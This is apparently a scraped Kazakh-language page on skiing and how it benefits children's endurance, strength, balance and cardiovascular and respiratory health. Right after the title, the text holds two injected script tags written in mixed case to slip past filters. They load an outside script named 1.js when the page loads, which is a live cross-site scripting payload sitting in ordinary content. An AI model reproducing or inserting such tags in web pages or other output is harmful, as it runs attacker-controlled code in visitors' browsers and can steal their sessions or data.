Шаңғы спорты<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

  Шаңғы спорты – қысқы спорт түрлері негізгілерінің бірі . Шаңғы спортынан жаттығулар ашық аспан астында, таза ауада өтетін болғандықтан баланың денсаулығына өте пайдалы. Ол баланың  бойындағы шыдамдылық, күш шапшаңдық, батылдық, ептілік, табандылық, айналаңды бақылау сияқты аса керек қасиеттерді өкпенің сыйымдылығы жан-жақты дамытады . Баланың аяқ-қол, дене бұлшық еттерін күшейтеді. Сонымен қатар жүрек-қан тамыр, тыныс алу мен жүйке жүйесіне оң әсер етіп, баланың тепе-теңдікті сақтай білу қабілетін арттырады.